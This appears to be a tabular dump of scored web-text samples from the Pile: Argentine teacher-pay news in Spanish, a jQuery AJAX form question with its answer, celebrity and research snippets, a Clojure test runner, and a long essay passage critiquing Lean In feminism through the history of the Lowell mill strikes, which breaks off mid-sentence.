texts
sequence | meta
dict | scores
sequence | avg_score
float64 0
1
| num_sents
int64 1
14.9k
|
|---|---|---|---|---|
[
"En medio del endurecimiento de su posición hacia el Gobierno y a solo un mes del inicio de las clases, la conducción de la CGT reclamó a la administración de Cambiemos la urgente convocatoria a la paritaria federal docente para fijar el piso del aumento salarial en todo el país y advirtió que sin esa instancia corre serio riesgo el comienzo del ciclo lectivo previsto para el próximo 6 de marzo. ",
"El pedido de la central obrera fue acordado la semana pasada durante el encuentro sindical en Mar del Plata y será oficializado este jueves tras la primera reunión formal del año del consejo directivo de la entidad.",
"\n\nSerá justamente el mismo día en que se concretará la anunciada cumbre de gobernadores de todo en país, en la que intentarán consensuar una posición común que se traducirá en un el ofrecimiento de un tope del 18% para los aumentos salariales que comenzarán a negociar en las próximas semanas con los gremios docentes de sus respectivas jurisdicciones, según deslizaron fuentes de varios distritos.",
"\n\nLas discusiones salariales con los maestros se desarrollarán a nivel provincial después de que el Gobierno nacional anunció en diciembre pasado que no convocará a la paritaria federal para fijar el sueldo mínimo de la actividad, como era habitual desde hace 9 años tras la sanción de la Ley de Financiamiento Educativo.",
"\n\nEl fin de semana el ministro del Interior, Rogelio Frigerio, defendió esa decisión y sostuvo que ya el año pasado la Nación cumplió con el establecimiento de un mecanismo de actualización automática por el que el cual el salario inicial del sector será siempre un 20% superior al salario mínimo, vital y móvil. ",
"Desde este mes, cuando el SMVM se actualizó en $ 8060, esa cifra quedó fijada en $ 9672. \"",
"Una vez fijada esa pauta general para todos los años, ya no tiene sentido la injerencia del Gobierno nacional en la discusión\", remarcó el funcionario en declaraciones radiales.",
"\n\nLa falta del paraguas de un acuerdo nacional generó inicialmente fuerte preocupación en las provincias, por el efecto de la ausencia de una referencia que permitiera unificar las negociaciones y evitar desequilibrios entre los salarios de los diferentes distritos. ",
"Por eso es que en las últimas semanas los gobernadores decidieron activar una discusión conjunta para acordar una postura común en la negociación con los gremios.",
"\n\nDe cara ese objetivo, en el encuentro que agendaron para el jueves intentarán cerrar un ofrecimiento en línea con el entendimiento que la gobernadora bonaerense, María Eugenia Vidal, selló a fines del año pasado con parte de los sindicatos estatales provinciales, que estableció una suba de 18% en tres tramos ajustable por la inflación del Indec.",
"\n\nLos sindicatos docentes, sin embargo, se plantaron frente a la provincialización de las negociaciones y renovaron el reclamo por el retorno a la paritaria federal. ",
"Interpretan que el apoyo de la CGT podría ser clave para potenciar su objetivo, sumado a las advertencias que ponen en duda el normal inicio del ciclo lectivo.",
"\n\nPor lo pronto, los representantes sindicales de los maestros ya alertaron sobre su total rechazo a la pauta salarial que alientan los gobernadores y anticiparon reclamos en torno al 35% con el argumento de la necesidad de recuperar el deterioro salarial de casi 10 puntos que aseguran acumularon durante 2016.",
"\n\n\"Sin paritaria federal habrá un conflicto como no se había visto en años\", advirtió al respecto Sergio Romero, el titular de la Unión Docentes Argentinos (UDA), que integra la conducción cegetista y participó el jueves de la reunión de la central obrera en Mar del Plata. ",
"El dirigente remarco que conversó con ministros provinciales que le manifestaron la intención de fijar un techo del 18% para las negociaciones en cada distrito, una propuesta que juzgó como \"imposible\". \"",
"Si calculamos que ha habido una pérdida del poder adquisitivo de entre el 9% y el 10% y que el salario inicial está en $ 9672, nunca podríamos estar negociando por debajo del 35%\", señaló Romero.",
"\n\nUna posición similar anunciaron desde la Federación Nacional Docente (FND) que ya convocó a una jornada de protesta para el próximo jueves frente al Ministerio de Educación en paralelo al encuentro que mantendrán los gobernadores."
] | {
"pile_set_name": "OpenWebText2"
} | [
0.04611493647098541,
0.07641498744487762,
0.11442869156599045,
0.007462239824235439,
0.027829209342598915,
0.005592579022049904,
0.01069271843880415,
0.018871650099754333,
0.12447741627693176,
0.02444896660745144,
0.07736608386039734,
0.09772582352161407,
0.03156237676739693,
0.006152691785246134,
0.09187906980514526,
0.37159299850463867,
0.013726089149713516
] | 0.067432 | 17 |
[
"Q:\n\nAJAX form submission and results\n\nJust started using AJAX today via JQuery and I am getting nowhere. ",
"As an example I have set up a job for it to do. ",
"Submit a form and then display the results. ",
"Obviously I haven't got it right. ",
"\nThe HTML.",
"\n<form id=\"PST_DT\" name=\"PST_DT\" method=\"post\">\n<input name=\"product_title_1682\" id=\"product_title_1682\" type=\"hidden\" value=\"PADI Open Water\">\n<input name=\"product_title_1683\" id=\"product_title_1683\" type=\"hidden\" value=\"PADI Advanced Open Water\">\n\n<input type=\"submit\" name=\"submit\" id=\"submit\" value=\"Continue\" onclick=\"product_analysis_global(); test();\"/>\n\n</form>\n<span id=\"results\"></span>\n\nThere are actually many more fields all loaded in dynamically. ",
"I plan to use ajax to submit to PHP for some simple maths and then return the results but we can worry about that later.",
"\nThe JQuery \nfunction test() {\n\n //Get the data from all the fields\n var alpha = $('#product_title_1682').val();\n JQuery.ajax({\n type: 'POST',\n url: 'http://www.divethegap.com/update/functions/totals.php',\n data: 'text=' + alpha,\n beforeSend: function () {\n $('#results').html('processing');\n },\n error: function () {\n $('#results').html('failure');\n },\n timeout: 3000,\n\n });\n};\n\nand the PHP\n<?",
"php\n$alpha = $_POST['alpha'];\n echo 'Marvellous',$alpha;\n ?",
">\n\nThat's my attempt and nothing happens. ",
"Any ideas?",
"\nMarvellous.",
"\n\nA:\n\nFirst of all, you're passing the $_POST variable as 'text' while your script is looking for $_POST['alpha']. ",
"If you update your PHP to $_POST['text'], you should see the proper text.",
"\nAlso, if your form is going to have lots of inputs and you want to be sure to pass all of them to your AJAX Request, I'd recommend using jQuery's serialize() method. ",
"\ndata: $('#PST_DT').serialize(), // this will build query string based off the <form>\n// eg: product_title_1682=PADI+Open+Water&product_title_1683=PADI+Advanced+Open+Water\n\nIn your PHP script you'd then need to use $_POST['product_title_1682'] and $_POST['product_title_1683'].",
"\nUPDATE Add a success callback to your $.ajax call.",
"\nfunction test() { \n\n // serialize form data\n var data= $('#PST_DT').serialize();\n\n // ajax request\n $.ajax({\n type : 'POST',\n url : 'http://www.divethegap.com/update/functions/totals.php',\n data : data,\n beforeSend : function() {\n $('#results').html('processing');\n },\n error : function() {\n $('#results').html('failure');\n },\n // success callback\n success : function (response) {\n $('#results').html(response);\n },\n timeout : 3000,\n });\n\n};\n\nIn your PHP script you can debug the information sent using:\nvar_dump($_POST);\n\n"
] | {
"pile_set_name": "StackExchange"
} | [
0.0005635687266476452,
0.0005840731901116669,
0.0006385055021382868,
0.0007834399584680796,
0.0006609341944567859,
0.000632431881967932,
0.0005813137977384031,
0.0007170959725044668,
0.0006920541054569185,
0.009753392077982426,
0.0007957352208904922,
0.0013351516099646688,
0.0006521828472614288,
0.0005557140102609992,
0.0006002391455695033,
0.0006345952278934419,
0.000617322395555675,
0.0007765289628878236
] | 0.001199 | 18 |
[
"August 2015\n\nIn the coming weeks, we will be showing off some screenshots and other goodies from our upcoming release. ",
"It’s been under wraps for almost 6 months now and we’re dying to give you a peek. ",
"Follow us on twitter to get the latest news as things start to roll […]"
] | {
"pile_set_name": "Pile-CC"
} | [
0.0005832173046655953,
0.001337678637355566,
0.0008317540632560849
] | 0.000918 | 3 |
[
"Gomez, who at the age of 15 broke out as a teen star in Disney Channel’s Wizard of Waverly Place and also made her debut as a singer,will work for the first time with the Academy Award winner director Wood Allen.",
"\n\nThe untitled Allen project, where the Latina star will appear, is currently in pre-production and marks the third that he directs with Amazon Studios.",
"\n\nAllen recently completed Wonder Wheel, a drama film starring James Belushi, Juno Temple, Justin Timberlake and Kate Winslet, and is set to premiere as the closing night of the New York Film Festival in October.",
"\n\nGomez is now the most followed person on Instagram, surpassing singer Taylor Swift. ",
"She is followed by 69.7 million people in the world.",
"\n\nShe is repped by WME, Lighthouse Management & Media and Ziffren Brittenham."
] | {
"pile_set_name": "Pile-CC"
} | [
0.0006841481663286686,
0.0006113155977800488,
0.0006062270840629935,
0.0006576135056093335,
0.0008067211019806564,
0.0006676596240140498
] | 0.000672 | 6 |
[
"Vocational interest evaluation of TMR adults.",
"\nFifty TMR adults participated in a three-stage job-training and placement program over a 5-year period. ",
"Vocational inventoried interest and expressed interest were correlated, as were relationships between inventoried interest and such variables as CA and IQ. ",
"The results showed that (a) TMR adults can discriminate between occupational likes and dislikes when using pictorial inventoried interest assessment techniques, (b) a positive relationship exists between expressed and inventoried interest, (c) inventoried interest is independent of CA and IQ, (d) there was a general consistency in inventoried occupational choice over a 6-month interval, and (e) the Reading-Free Vocational Interest Inventory has predictive and status validity, as evidenced by job incumbents' success and their inventory cluster profiles."
] | {
"pile_set_name": "PubMed Abstracts"
} | [
0.0006206269608810544,
0.00069154251832515,
0.0005766625981777906,
0.0007074677268974483
] | 0.000649 | 4 |
[
"(ns vrng.runner\n (:require [doo.runner :refer-macros [doo-tests]]\n [vrng.core-test]))\n;; [vrng.util-test]))\n\n(doo-tests 'vrng.core-test)\n;; 'vrng.util-test)\n"
] | {
"pile_set_name": "Github"
} | [
0.0007349741063080728
] | 0.000735 | 1 |
[
"When the little old lady doesn't throw any bird seed your way\n15 mns agoThe Life of a Plague Doctor Part 2\n18 mns agoUpgrade yo weapon arts today with the powah of red coppah!43 mns agoKittens swim up to fishermen for rescue."
] | {
"pile_set_name": "Pile-CC"
} | [
0.0766400545835495
] | 0.07664 | 1 |
[
"The congregation swooned as she bounded on stage, the prophet sealskin sleek in her black skinny ankle pants and black ballet flats, a lavalier microphone clipped to the V-neck of her black button-down sweater. “",
"All right!! ",
"Let’s go!!” ",
"she exclaimed, throwing out her arms and pacing the platform before inspirational graphics of glossy young businesswomen in managerial action poses. “",
"Super excited to have all of you here!!”",
"\n\n“Whoo!!” ",
"the young women in the audience replied. ",
"The camera, which was livestreaming the event in the Menlo Park, California, auditorium to college campuses worldwide, panned the rows of well-heeled Stanford University econ majors and MBA candidates. ",
"Some clutched copies of the day’s hymnal: the speaker’s new book, which promised to dismantle “internal obstacles” preventing them from “acquiring power.” ",
"The atmosphere was TED-Talk-cum-tent-revival-cum-Mary-Kay-cosmetics-convention. ",
"The salvation these adherents sought on this April day in 2013 was admittance to the pearly gates of the corporate corner office.",
"\n\n“Stand up,” the prophet instructed, “if you’ve ever said out loud, to another human being—and you have to have said it out loud—‘I am going to be the number one person in my field. ",
"I will be the CEO of a major company. ",
"I will be governor. ",
"I will be the number one person in my field.’” ",
"A small, although not inconsiderable, percentage of the young women rose to their feet.",
"\n\nThe speaker consoled those still seated; she, too, had once been one of them. ",
"When she was voted “most likely to succeed” in high school, she confided, she had begged a yearbook editor to delete that information, “because most likely to succeed doesn’t get a date for the prom.” ",
"Those days were long gone, ever since she’d had her conversion on the road to Davos: she’d “leaned in” to her ambitions and enhanced her “likability”—and they could do the same. ",
"What’s more, if they took the “lean in” pledge, they might free themselves from some of those other pesky problems that hold women back in the workplace. “",
"If you lean forward,” she said, “you will get yourself into a position where the organization you’re with values you a lot and is therefore willing to be more flexible. ",
"Or you’ll get promoted and then you’ll get paid more and you’ll be able to afford better child care.” ",
"If you “believe you have the skills to do anything” and “have the ambition to lead,” then you will “change the world” for women. “",
"We get closer to the goal of true equality with every single one of you who leans in.”",
"\n\nThe pitch delivered, Lean In founder and Facebook chief operating officer Sheryl Sandberg summoned her deacon to close the deal. ",
"Rachel Thomas hustled onstage, a Sandberg Mini-Me in matching black ensemble (distinguished only by the color of her ballet flats and baubled necklace, both of which were gold). ",
"She’s Lean In’s president. (",
"Before Lean In hit the bookstores, it was already a fully staffed operation, an organization purporting to be “a global community committed to encouraging and supporting women leaning in to their ambitions.”) “",
"I really want to invite you to join our community!” ",
"Thomas told the assembled. “",
"You’ll get daily inspiration and insights.”",
"\n\nJoining “the community” was just a click away. ",
"In fact, the community was already uploaded and ready to receive them; all they had to do was hit the “Lean In Today” button on their computer screen . . . ",
"and, oh yeah, join Facebook. (",
"There is no entry into Lean In’s Emerald e-Kingdom except through the Facebook portal; Sandberg has kept her message of liberation confined within her own corporate brand.)",
"\n\nThomas enumerated the “three things” that Lean In offered. (",
"In the Lean In Community, there are invariably three things required to achieve your aims.) ",
"First, Thomas instructed, “Come like us on Facebook” (and, for extra credit, post your own inspirational graphic on Lean In’s Facebook “photo gallery” and “tag your friends, tell them why you’re leaning in!”). ",
"Second, watch Lean In’s online “education” videos, twenty-minute lectures from “experts” (business school professors, management consultants, and a public speaking coach) with titles like “Power and Influence” and “Own the Room.” ",
"Third, create a “Lean In Circle” with eight to ten similarly aspirational young women. ",
"The circles, Lean In literature stresses, are to promote “peer mentorship” only—not to deliver aid and counsel from experienced female elders who might actually help them advance. ",
"Thomas characterized the circle as “a book club with a purpose.” ",
"All they had to do was click on the “Create a Circle” button on LeanIn.org and follow the “three easy steps.” “",
"We provide everything that you need to do it,” Thomas assured. “",
"All the materials, all the how-to information, and a very cool technology platform called Mightybell.” ",
"Mightybell’s CEO, it so happens, is Gina Bianchini, cofounder of Lean In. “",
"So it’s really easy to do, and don’t wait!” ",
"Thomas said. “",
"Go do it for yourself today!”",
"\n\nSince its unveiling this spring, the Lean In campaign has been reeling in a steadily expanding group of tens of thousands of followers with its tripartite E-Z plan for getting to the top. ",
"But the real foundation of the movement is, of course, Sheryl Sandberg’s bestselling book, Lean In: Women, Work, and the Will to Lead, billed modestly by its author as “sort of a feminist manifesto.” ",
"Sandberg’s mantra has become the feminist rallying cry of the moment, praised by notable figures such as Gloria Steinem, Jane Fonda, Marlo Thomas, and Nation columnist Katha Pollitt. ",
"A Time magazine cover story hails Sandberg for “embarking on the most ambitious mission to reboot feminism and reframe discussions of gender since the launch of Ms. magazine in 1971.” ",
"Pretty good for somebody who, “as of two and a half years ago,” as Sandberg confessed on her book tour, “had never said the word woman aloud. ",
"Because that’s not how you get ahead in the world.”",
"\n\nIf you were waiting for someone to lean in for child care legislation, keep holding your breath.",
"\n\nBeneath highly manicured glam shots, each “member” or “partner” reveals her personal “Lean In moment.” ",
"The accounts inevitably have happy finales—the Lean In guidelines instruct contributors to “share a positive ending.” ",
"Tina Brown’s Lean In moment: getting her parents to move from England to “the apartment across the corridor from us on East 57th Street in New York,” so her mother could take care of the children while Brown took the helm at The New Yorker. ",
"If you were waiting for someone to lean in for child care legislation, keep holding your breath. ",
"So far, there’s no discernible groundswell.",
"\n\nWhen asked why she isn’t pushing for structural social and economic change, Sandberg says she’s all in favor of “public policy reform,” though she’s vague about how exactly that would work, beyond generic tsk-tsking about the pay gap and lack of maternity leave. ",
"She says she supports reforming the workplace—but the particulars of comparable worth or subsidized child care are hardly prominent elements of her book or her many media appearances.",
"\n\nSandberg began her TED Talk in December 2010, the trial balloon for the Lean In campaign, with a one-sentence nod to “flex time,” training, and other “programs” that might advance working women, and then declared, “I want to talk about none of that today.” ",
"What she wanted to talk about, she said, was “what we can do as individuals” to climb to the top of the command chain.",
"\n\nThis clipped, jarring shift from the collective grievances of working women to the feel-good options open to credentialed, professional types is also a pronounced theme in Lean In, the book. ",
"In the opening pages, Sandberg acknowledges that “the vast majority of women are struggling to make ends meet,” but goes on to stress that “each subsequent chapter focuses on an adjustment or difference that we can make ourselves.” ",
"When asked in a radio interview in Boston about the external barriers women face, Sandberg agreed that women are held back “by discrimination and sexism and terrible public policy” and “we should reform all of that,” but then immediately suggested that the concentration on such reforms has been disproportionate, arguing that “the conversation can’t be only about that, and in a lot of ways the conversation on women is usually only about that.” ",
"Toward the end of the Q&A period at the Menlo Park event, a student watching online asked, “What would you say to the critics who argue that lower socioeconomic status makes it difficult to lean in?” ",
"Sandberg replied that leaning in might be even “more important for women who are struggling to make ends meet,” then offered this anecdote as evidence: She had received a fan email from a reader who “never graduated from college” and had gone back to work in 1998 after her husband lost his job. “",
"Until she read Lean In, she had never asked for a raise. ",
"And last week, she asked for a raise.” ",
"Pause for the drum roll. “",
"And she got it! ",
"That’s what this is about.”",
"\n\nLean In’s rank-and-file devotees don’t get the marquee billing accorded the celebrity and executive set on the handpicked “Meet the Community” page. ",
"Nevertheless, they seem eager to “join the community”: as of July 12, 2013, they “liked” Lean In 237,552 times. ",
"Their online participation on Lean In’s Facebook page is limited to making comments—in response to the organization’s announcements of the latest Lean In marketing triumphs. (“",
"Very excited that Lean In is #1 on The New York Times Book Review – Six weeks in a row!”; “",
"Very excited to see Sheryl Sandberg on the TIME 100 list of the most influential people in the world!”; “",
"We’re excited to watch Sheryl Sandberg Lean In with Oprah this weekend. ",
"Tune in to watch Oprah’s Next Chapter on Sunday, March 24 at 9 p.m. ET/PT on OWN: Oprah Winfrey Network!”)",
"\n\nEvidently the “likers” are excited too: they cheer the media conquests of the Leaner-In-in-chief, whose success began at the top (thanks not to “peer mentoring” but to her powerful college adviser, former Harvard University president Larry Summers) and who has remained there ever since—a stratospheric hurtle from Harvard to the World Bank to the U.S. Treasury Department to Google to Facebook. ",
"The comments read like a Sandbergian amen corner: “Congratulations Sheryl! ",
"You diserve [sic] it!",
"♥”; “This is such an awesome book! ",
"It has really energized me with refocusing on my career goals.”; “",
"am reading book on my kindle now, awesome so far!”; “",
"Awesome talk!!!”; “",
"God Bless! ",
"And lets [sic] continue to spread this message and lean in!”; “",
"Sheryl is igniting the new feminine movement!”; “",
"THANK YOU FOR LEADING THE REVOLUTION!!!!",
"☺”; “sheryl is inspirational! ",
"I missed zumba for this and happy I did!”",
"\n\nThe scene at the Menlo Park auditorium, and its conflation of “believe in yourself” faith and material rewards, will be familiar to anyone who’s ever spent a Sunday inside a prosperity-gospel megachurch or watched Reverend Ike’s vintage “You Deserve the Best!” ",
"sermon on YouTube. ",
"But why is that same message now ascendant among the American feminists of the new millennium?",
"\n\nSandberg’s admirers would say that Lean In is using free-market beliefs to advance the cause of women’s equality. ",
"Her detractors would say (and have) that her organization is using the desire for women’s equality to advance the cause of the free market. ",
"And they would both be right. ",
"In embodying that contradiction, Sheryl Sandberg would not be alone and isn’t so new. ",
"For the last two centuries, feminism, like evangelicalism, has been in a dance with capitalism.",
"\n\nAll As One\n\nIn 1834, America’s first industrial wage earners, the “mill girls” of Lowell, Massachusetts, embarked on their own campaign for women’s advancement in the workplace. ",
"They didn’t “lean in,” though. ",
"When their male overseers in the nation’s first large-scale planned industrial city cut their already paltry wages by 15 to 20 percent, the textile workers declared a “turn-out,” one of the nation’s earliest industrial strikes. ",
"That first effort failed, but its participants did not concede defeat. ",
"The Lowell women would stage another turn-out two years later, create the first union of working women in American history, lead a fight for the ten-hour work day, and conceive of an increasingly radical vision that took aim both at corporate power and the patriarchal oppression of women. ",
"Their bruising early encounter with American industry fueled a nascent feminist outlook that would ultimately find full expression in the first wave of the American women’s movement.",
"\n\nCapitalism, you could say, had midwifed feminism.",
"\n\nAnd capitalism, Sandberg would say, still sustains it. ",
"But what happened between 1834 and 2013—between “turn-out” and “lean in”—to make Lean In such an odd heir to the laurels of Lowell? ",
"An answer lies in the history of those early textile mills.",
"\n\nThe Lowell factory owners had recruited “respectable” Yankee farmers’ daughters from the New England countryside, figuring that respectable would translate into docile. ",
"They figured wrong. ",
"The forces of industrialization had propelled young women out of the home, breaking the fetters binding them to the patriarchal family, unleashing the women into urban areas with few social controls, and permitting them to begin thinking of themselves as public citizens. ",
"The combination of newly gained independence and increasingly penurious, exploitative conditions proved combustible—and the factory owners’ reduction in pay turned out to be the match that lit the tinder. ",
"Soon after they heard the news, the “mill girls”—proclaiming that they “remain in possession of our unquestionable rights”—shut down their looms and walked out.",
"\n\nCapitalism, you could say, had midwifed feminism.",
"\n\nFrom the start, the female textile workers made the connection between labor and women’s rights. ",
"Historian Thomas Dublin, in his book on the Lowell mill girls, Women at Work, cited an account in the Boston Evening Transcript. “",
"One of the leaders mounted a pump,” the article reported, “and made a flaming Mary Woolstonecroft [sic] speech on the rights of women and the iniquities of the ‘monied aristocracy.’” ",
"The speech “produced a powerful effect on her auditors, and they determined ‘to have their own way if they died for it.’” ",
"In a statement the mill workers issued on the first day of the turn-out, titled “Union is Power,” they elaborated:\n\nThe oppressing hand of avarice would enslave us, and to gain their object, they gravely tell us of the pressure of the times, this we are already sensible of, and deplore it. ",
"If any are in want, the Ladies will be compassionate and assist them; but we prefer to have the disposing of our charities in our own hands; and as we are free, we would remain in possession of what kind Providence has bestowed upon us, and remain daughters of freemen still.",
"\n\nThe mill proprietors looked on with unease at what they regarded as an “amizonian [sic] display” and “a spirit of evil omen.”",
"\n\nThe Lowell turn-out was a communal endeavor, built on intense bonds of sisterhood forged around the clock: by day on the factory floor, where the women worked in pairs, with the more experienced female worker training and looking out for the newcomer, and by night in the company boarding houses, where they shared cramped quarters, often two to a bed, and embroiled themselves in late-night discussions about philosophy, music, literature, and, increasingly, social and economic injustice. ",
"As Dublin observed of the web of “mutual dependence” that prevailed in the Lowell mill workforce, the strike was “made possible because women had come to form a ‘community’ of operatives in the mill, rather than simply a group of individual workers.” ",
"An actual community, that is—not an online like-a-thon. ",
"Tellingly, the strike began when a mill agent, hoping to nip agitation in the bud, fired one of the more voluble factory workers whom he regarded as the ringleader. ",
"The other women immediately walked out in protest over her expulsion. ",
"The petition they signed and circulated concluded: “Resolved, That none of us will go back, unless they receive us all as one.”",
"\n\nIn a matter of years, the Lowell women would become increasingly radical, as crusaders for both worker and gender equality. ",
"They had originally been encouraged to write ladylike stories for the mill girls’ literary magazine, the Lowell Offering, which was launched by a local minister and supported by the textile companies. ",
"By the 1840s, many young working women were filing copy instead with the Voice of Industry, a labor newspaper published by the Lowell Female Labor Reform Association. ",
"The paper’s “Female Department,” edited by the association’s president, Sarah Bagley, featured articles by and about women workers, with a declared mission both to revamp “the system of labor” and “defend woman’s rights.” “",
"You have been degraded long enough,” an article in the Voice advised its female readers. “",
"You have sufficiently long been considered ‘the inferior’—a kind of ‘upper servant,’ to obey and reverence, and be in subjection to your equal.” ",
"No more. “",
"Enter at once upon your privileges,” the article exhorted, calling on women to demand their equal rights to education, employment, and respect from men.",
"\n\nThe mill workers went on to agitate against an unjust system in all its forms. ",
"When Lowell’s state representative thwarted the women’s statewide battle for the ten-hour day, they mobilized and succeeded in having him voted out of office—nearly eighty years before women had the vote. ",
"Mill women in Lowell and, in the decades to come, their counterparts throughout New England threw themselves into the abolitionist movement (drawing connections between the cotton picked by slaves and the fabric they wove in the mills); campaigned for better health care, safer schools, decent housing, and cleaner water and streets; and joined the fight for women’s suffrage. ",
"Sarah Bagley went on to work for prison reform, women’s rights, and education and decent jobs for poor women and prostitutes. ",
"After a stint as the first female telegrapher in the nation (where she pointed out that she was being paid two-thirds of a male telegrapher’s salary), she taught herself homeopathic medicine and became a doctor, billing her patients according to her personal proviso, “To the rich, one dollar—to the poor gratis.”",
"\n\nIncreasingly, the mill girls were joined in these efforts by their middle-class sisters. ",
"Cross-class female solidarity surfaced early in Lawrence, Massachusetts, after the horrific building collapse of the Pemberton Mills factory in 1860, which killed 145 workers, most of them women and children. (",
"The mills in Lawrence would later give rise to the famously militant “Bread and Roses” strike of 1912, in which female workers again played a leading role.) ",
"In the aftermath of the Pemberton disaster, middle-class women in the region flocked to provide emergency relief and, radicalized by what they witnessed, went on to establish day nurseries, medical clinics and hospitals, and cooperative housing to serve the needs of working women. ",
"By the postbellum years, with industrialization at full tide and economic polarization at record levels, a critical mass of middle-class female reformers had come to believe that the key to women’s elevation was not, as they once thought, “moral uplift,” but economic independence—and that cross-class struggle on behalf of female workers was the key to achieving it.",
"\n\nA host of organizations launched by professional women, like Sorosis and the Women’s Educational and Industrial Union (WEIU), sprang up to campaign for the economic advancement of both middle- and working-class women. “",
"From its first days,” historian Mari Jo Buhle observed in Women and American Socialism, “Sorosis encompassed broader purposes than aid to a handful of aspiring women professionals. ",
"All workingwomen, the leaders believed, shared a common grievance and a common need for organization.” ",
"The WEIU in Boston, like Lean In, held lectures to promote women in business—but it also sent investigative teams to expose poor conditions for women on the factory and retail floor, procured legal services for working women denied their rightful wages, offered job referral services for women of all classes, and set up cooperative exchanges for homebound women to sell their handcrafts so that even they might achieve some measure of fiscal independence from their husbands. ",
"In Chicago, the Illinois Woman’s Alliance launched a full-bore probe of abusive sweatshops that spawned a congressional investigation, successfully lobbied for a shorter workday for sweatshop workers, and even demanded legal rights for prostitutes, including the right to be free of police harassment.",
"\n\nFrom the sounds of recent pronouncements, it might seem that efforts to elevate the woman worker have finally paid off. ",
"With giddy triumphalism, books like Hanna Rosin’s The End of Men: And the Rise of Women and Liza Mundy’s The Richer Sex: How the New Majority of Female Breadwinners Is Transforming Sex, Love, and Family (both published in 2012) celebrate the imminent emergence of a female supremacy. “",
"For the first time in history, the global economy is becoming a place where women are finding more success than men,” Rosin declared, noting that twelve of the fifteen jobs projected to grow the fastest in the United States in the next decade “are occupied primarily by women.” ",
"The female worker, she wrote, is “becoming the standard by which success is measured.” ",
"Mundy, who called this supremacy the “Big Flip,” predicted that, thanks to the new economy, we would soon be living in a world “where women routinely support households and outearn the men they are married to,” and men “will gladly hitch their wagon to a female star.”",
"\n\nA star like Sheryl Sandberg, whose feminism seems a capstone of female ascendancy. ",
"Never mind that the “fastest-growing” future occupations for women—home health aide, child care worker, customer service representative, office clerk, food service worker—are among the lowest paid, most with few to no benefits and little possibility for “advancement.” ",
"Progress has stalled for many ordinary women—or gone into reverse. ",
"The poverty rate for women, according to the Census Bureau’s latest statistics, is at its highest point since 1993, and the “extreme poverty rate” among women is at the highest point ever recorded.",
"\n\nBut there seems to be little tangible cross-class solidarity coming from the triumphalists, despite their claims to be speaking for all womankind. “",
"If we can succeed in adding more female voices at the highest levels,” Sandberg writes in her book, “we will expand opportunities and extend fairer treatment to all.” ",
"But which highest-level voices? ",
"When former British prime minister Margaret (“I hate feminism”) Thatcher died, Lean In’s Facebook page paid homage to the Iron Lady and invited its followers to post “which moments were most memorable to you” from Thatcher’s tenure. ",
"That invitation inspired a rare outburst of un-“positive” remarks in the comment section, at least from some women in the U.K. “Really??” ",
"wrote one. “",
"She was a tyrant. . . . ",
"Just because a woman is in a leadership position does not make her worthy of respect, especially if you were on the receiving end of what she did to lots of people.” “",
"So disappointing that Lean In endorses Thatcher as a positive female role model,” wrote another. “",
"She made history as a woman, but went on to use her power to work against the most vulnerable, including women and their children.”",
"\n\nEven when celebrating more laudable examples of female leadership, Lean In’s spotlight rarely roves beyond the uppermost echelon. ",
"One looks in vain through its website statements, literature, and declarations at its public events for evidence of concern about how the other half lives—or rather, the other 99 percent. ",
"As Linda Burnham observed in a perceptive essay on Portside.org, Lean In “has essentially produced a manifesto for corporatist feminism,” a “1% feminism” that “is all about the glass ceiling, never about the floor.” ",
"The movement originally forged to move the great mass of women has been hijacked to serve the individual (and privileged) girl.",
"\n\nAs it turns out, it’s a hijacking that’s long been under way.",
"\n\nDream On\n\nThe landmark year in the transition from common struggle to individual enhancement was 1920—ironically, the same year that women won the right to vote. ",
"In the course of the twenties, an ascendant consumer economy would do as much to derail feminist objectives as advance them. ",
"Capitalism, feminism’s old midwife, had become its executioner. ",
"And a cleverly disguised one: this grim reaper donned a feminist-friendly face.",
"\n\nThe rising new forces of consumer manipulation—mass media, mass entertainment, national advertising, the fashion and beauty industries, popular psychology—all seized upon women’s yearnings for independence and equality and redirected them to the marketplace. ",
"Over and over, mass merchandisers promised women an ersatz version of emancipation, the fulfillment of individual, and aspirational, desire. ",
"Why mount a collective protest against the exploitations of the workplace when it was so much more gratifying—not to mention easier—to advance yourself (and only yourself) by shopping for “liberating” products that expressed your “individuality” and signaled your (seemingly) elevated class status?",
"\n\nIn the postindustrial economy, feminism has been retooled as a vehicle for expression of the self, a “self” as marketable consumer object.",
"\n\nThe message was ubiquitous in 1920s advertising pitched to women. “",
"An Ancient Prejudice Has Been Removed,” decreed a Lucky Strike banner, above a picture of an unfettered flapper girl wreathed in cigarette smoke. ",
"Enjoy “positive agitation” at home, Hoover vacuum ads entreated, with the new machine’s “revolutionary cleaning principle.” “",
"Woman suffrage made the American woman the political equal of her man,” General Electric cheered. “",
"The little switch which commands the great servant Electricity is making her workshop the equal of her man’s.” ",
"That “workshop,” of course, was the domestic bower, to which privileged women were now expected to retire. ",
"In 1929, at the behest of the American Tobacco Company, Edward Bernays, the founding father of public relations, organized a procession of debutantes to troop down Fifth Avenue during the Easter Parade, asserting their “right” to smoke in public by puffing “torches of freedom.” ",
"Women’s quest for social and economic freedom had been reenacted as farce.",
"\n\nWhere industrial capitalism had driven women as a group to mobilize to change society, its consumer variant induced individual women to submit, each seemingly of her own free will, to a mass-produced culture. ",
"They were then encouraged to call that submission liberation. ",
"This is the mode that much of American feminism has been stuck in ever since, despite attempts by late-1960s radical feminists to dismantle the female consumer armament of cosmetics, girdles, and hair spray. (",
"The dismantling became quite literal in the 1968 demonstration against the Miss America Pageant, where young radicals hurled “instruments of female torture” into a “Freedom Trash Can.”)",
"\n\nIn the postindustrial economy, feminism has been retooled as a vehicle for expression of the self, a “self” as marketable consumer object, valued by how many times it’s been bought—or, in our electronic age, how many times it’s been clicked on. “",
"Images of a certain kind of successful woman proliferate,” British philosopher Nina Power observed of contemporary faux-feminism in her 2009 book, One-Dimensional Woman. “",
"The city worker in heels, the flexible agency employee, the hard-working hedonist who can afford to spend her income on vibrators and wine—and would have us believe that—yes—capitalism is a girl’s best friend.”",
"\n\nIn the 1920s, male capitalists invoked feminism to advance their brands of corporate products. ",
"Nearly a century later, female marketers are invoking capitalism to advance their corporate brand of feminism. ",
"Sandberg’s “Lean In Community” is Exhibit A. What is she selling, after all, if not the product of the company she works for? ",
"Every time a woman signs up for Lean In, she’s made another conquest for Facebook. ",
"Facebook conquers women in more than one way. ",
"Nearly 60 percent of the people who do the daily labor on Facebook—maintaining their pages, posting their images, tagging their friends, driving the traffic—are female, and, unlike the old days of industrial textile manufacturing, they don’t even have to be paid or housed. “",
"Facebook benefits every time a woman uploads her picture,” Kate Losse, a former employee of Facebook and author of The Boy Kings, a keenly observed memoir of her time there, pointed out to me. “",
"And what is she getting? ",
